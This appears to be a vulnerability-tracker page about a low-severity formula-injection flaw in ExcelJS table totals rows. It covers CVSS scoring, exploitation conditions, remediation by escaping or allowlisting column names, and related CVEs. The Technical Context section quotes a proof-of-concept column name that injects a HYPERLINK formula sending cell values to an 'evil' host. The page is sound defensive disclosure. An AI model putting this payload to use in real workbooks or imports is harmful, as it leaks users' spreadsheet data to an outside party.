Skip to main content

ExcelJS EUVDEUVD-2026-125151

| CVE-2026-128348 LOW
Improper Encoding or Escaping of Output (CWE-116)
2026-11-13 VulnCheck GHSA-mc6q-q9x7-hr35
2.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit malicious column name via untrusted CSV header
  2. Delivery
    App builds totals-row structured reference
  3. Exploit
    Crafted ']' closes reference and injects HYPERLINK
  4. Execution
    Victim opens workbook, enables editing and clicks
  5. Impact
    Attacker exfiltrates cell values to remote URL

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding for downstream
Exploitation Conditions

Exploitation requires that the host application call ExcelJS addTable with totalsRow enabled AND populate table column names from attacker-influenced data (the advisory names imported CSV headers specifically); the crafted name must contain ']' (or '[', '#', or ''') to escape the SUBTOTAL(109,<table>[<column>]) structured reference, which ExcelJS fails to escape. Exploitation is further gated by required victim interaction: the target must open the generated workbook, enable editing, and click the injected HYPERLINK before cell values are leaked (UI:P). Limiting factors: this is not a default-configuration remote attack - it needs the specific totals-row-from-untrusted-column-names deployment pattern, plus user interaction, and yields only low-sensitivity data disclosure. Applications that do not derive table column names from untrusted input are not affected.

Impact

All decision signals point to low real-world priority. The supplied CVSS 4.0 vector (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P) scores only 2.3, and vuln.today's Decision label is 'monitor' - not act_now or emergency. Three independent barriers suppress exploitability: AC:H (the attacker must craft a column name that validly closes the structured reference), AT:P (a specific precondition - the application must feed untrusted data into table column names with a totals row), and UI:P (the victim must open the workbook, enable editing, and click the injected element). KEV status is NO, so there is no confirmed active exploitation, and no EPSS score was provided in the input, so probability of exploitation cannot be quantified from this data. A proof-of-concept does exist in the GHSA advisory. Impact is limited (VC:L/VI:L, no subsequent-system impact), consistent with a formula-injection leak rather than code execution. Net: a genuine, verifiable issue but a low-urgency, defense-in-depth fix rather than an emergency. Note one data nuance to verify: the fixed-version evidence refers to the 'exceljs-hardened' fork, not to upstream exceljs itself.

Exploit ScenarioDerived

An application uses ExcelJS to generate workbooks and derives table column names from untrusted input such as imported CSV headers. An attacker submits a CSV whose header contains a ']' that closes the structured reference and appends a HYPERLINK formula; when a victim opens the generated workbook, enables editing, and clicks, cell values are exfiltrated to the attacker's URL. A working proof-of-concept is published in the GHSA advisory, but the attack chain depends on the high-complexity crafting and required user interaction reflected in AC:H/AT:P/UI:P.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 13, 2026

Formula injection in ExcelJS through 4.4.0 allows a crafted table column name to break out of the totals-row SUBTOTAL structured reference and plant an attacker-chosen formula, such as HYPERLINK, in the workbook ExcelJS generates. Exposure is narrow: the host application must call addTable with totalsRow enabled and derive column names from attacker-influenced data (imported CSV headers are the named example), and leaking cell values additionally requires the victim to open the file, enable editing and click the injected link. Severity is low (CVSS 4.0 base 2.3; independent assessment CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N), a public proof-of-concept snippet is published in the upstream advisory, there is no CISA KEV listing, and the vuln.today decision label is monitor - all signals point to low real-world priority.

RemediationAI

Vendor-released patch: exceljs-hardened 5.1.0 (fixes versions <= 5.0.2); for the upstream exceljs package no patched release version is identified in the available data, so upgrade to the fixed fork build or track the upstream repository at https://github.com/exceljs/exceljs for a release that neutralizes the totals-row getter. Where an immediate upgrade is not possible, the code-level requirement is explicit in the advisory: in Excel structured references '[' , ']', '#' and the apostrophe must each be escaped with a leading apostrophe before being interpolated into SUBTOTAL(109,<table>[<column>]), so callers should sanitize or reject table column names containing those four characters before passing them to addTable - the trade-off is that the displayed column header will differ from the raw input string. The alternative structural mitigation is to stop deriving table column names from untrusted sources (for example, map imported CSV headers to a fixed allowlist of safe names, or disable totalsRow where the subtotal formula is not needed), which removes the injection path entirely at the cost of losing the original header text or the totals row behavior. Remediation must assume the generated file may already carry an injected formula, so any workbooks produced from untrusted headers before the fix should be treated as untrusted content when distributed to users.

Affected VersionsENISA

exceljs 0 ≤4.4.0

Affected Packages

euvd exceljs no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ExcelJS is a JavaScript library for reading and writing XLSX workbooks; its table support in lib/doc/table.js (the vulnerable getter spans roughly lines 84-104 at tag v4.4.0) builds the totals-row formula as SUBTOTAL(109,<table>[<column>]) using the raw column name. In Excel structured-reference syntax the characters '[', ']', '#' and the apostrophe must each be escaped with a leading apostrophe, and ExcelJS performs no such neutralization - so a column name containing ']' closes the reference early and the remainder of the name is parsed as formula text. The advisory demonstrates the payload columns: [{name:'k'},{name:'Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount'} yielding SUBTOTAL(109,T[Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount]); a benign-looking name such as It's [x] #1 likewise produces a broken reference. The root cause is an improper-neutralization class issue (CWE-116, mapped to CWE-1236 formula injection by the advisory), not a memory-safety defect: the trigger is specifically the totals-row formula getter consuming an unescaped column name, and the CPE cpe:2.3:a:exceljs:exceljs:*:*:*:*:*:*:*:* places every version up to and including 4.4.0 in scope. Impact materializes only later, in the spreadsheet client, when the generated workbook is opened with editing enabled and the injected formula (for example HYPERLINK) is invoked.

Know when Exceljs gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 2.3 LOW
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 4.2 MEDIUM

AC:H because the column name must validly close the structured reference; PR:N since the payload arrives via untrusted import data; UI:R because the victim must open, enable editing and click; C:L/I:L for value exfiltration and formula tampering.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
High
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

ExcelJS through 4.4.0 contains a formula injection vulnerability in the totals row formula getter in lib/doc/table.js that fails to escape [, ],

and ' characters in structured reference column names. Attackers can supply column names containing ] via untrusted input like imported CSV headers to inject formulas such as HYPERLINK that exfiltrate cell values when users open and click the generated workbook.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
High
extremely popular npm Excel library, millions of weekly downloads
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2018-16459 MEDIUM POC
6.1 Sep 06

An unescaped payload in exceljs <v1.6 allows a possible XSS via cell value when worksheet is displayed in browser. Rated

CVE-2026-78207 CRITICAL
9.3 Aug 24

Prototype pollution in exceljs-hardened before 5.0.0 lets a remote attacker corrupt Object.prototype by feeding parsed J

CVE-2026-128339 HIGH
8.7 Nov 13

Parsing an untrusted XLSX workbook with ExcelJS through 4.4.0 can exhaust the Node.js heap and abort the entire process,

CVE-2026-128343 HIGH
8.7 Nov 13

Denial of service in ExcelJS through 4.4.0: a crafted XLSX containing a <row> element numbered far beyond Excel's 1,048,

CVE-2026-128338 HIGH
8.7 Nov 13

ExcelJS through 4.4.0 can be crashed by a crafted .xlsx workbook whose worksheet col element has an unbounded max value:

CVE-2026-128340 HIGH
8.7 Nov 13

Loading a maliciously crafted spreadsheet can abort the entire Node.js process in ExcelJS through 4.4.0: a single define

CVE-2026-128341 HIGH
8.7 Nov 13

Loading an attacker-supplied .xlsx workbook with ExcelJS through 4.4.0 can exhaust CPU and memory and terminate the Node

CVE-2026-128342 HIGH
8.7 Nov 13

Denial of service in ExcelJS through 4.4.0 lets a remote, unauthenticated attacker stall a Node.js service for seconds a

CVE-2026-128344 HIGH
8.7 Nov 13

Heap-exhaustion denial of service in ExcelJS through 4.4.0 lets an unauthenticated attacker crash a Node.js application

CVE-2026-128346 HIGH
8.7 Nov 13

ExcelJS through 4.4.0 leaks temporary files and open file descriptors when the streaming WorkbookReader aborts mid-parse

CVE-2026-128347 HIGH
8.7 Nov 13

Arbitrary local file read in ExcelJS lets a crafted image filename pull any file the Node.js process can read into a gen

CVE-2026-78206 HIGH
8.7 Aug 24

Unbounded xlsx decompression in exceljs-hardened before 5.0.0 allows unauthenticated remote attackers to exhaust server

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy